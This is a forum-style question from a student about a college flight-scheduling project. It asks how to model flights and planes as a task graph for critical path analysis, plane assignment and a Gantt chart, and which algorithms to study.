  I am working on a flight scheduling app (disclaimer: it's for a college project, so no code answers, please). Please read this question w/ a quantum of attention before answering as it has a lot of peculiarities :( First, some terminology issues: You have planes and flights, and you have to pair them up. For simplicity's sake, we'll assume that a plane is free as soon as the flight using it prior lands. Flights are seen as tasks: They have a duration They have dependencies They have an expected date/time for beginning Planes can be seen as resources to be used by tasks (or flights, in our terminology). Flights have a specific type of plane needed. e.g. flight 200 needs a plane of type B. Planes obviously are of one and only one specific type, e.g., Plane Airforce One is of type C. A "project" is the set of all the flights by an airline in a given time period. The functionality required is: Finding the shortest possible duration for a said project The earliest and latest possible start for a task (flight) The critical tasks, with basis on provided data, complete with identifiers of preceding tasks. Automatically pair up flights and planes, so as to get all flights paired up with a plane. (Note: the duration of flights is fixed) Get a Gantt diagram with the projects scheduling, in which all flights begin as early as possible, showing all previously referred data graphically (dependencies, time info, etc.) So the questions is: How in the world do I achieve this? Particularly: We are required to use a graph. What do the graph's edges and nodes respectively symbolise? Are we required to discard tasks to achieve the critical tasks set? If you could also recommend some algorithms for us to look up, that'd be great.

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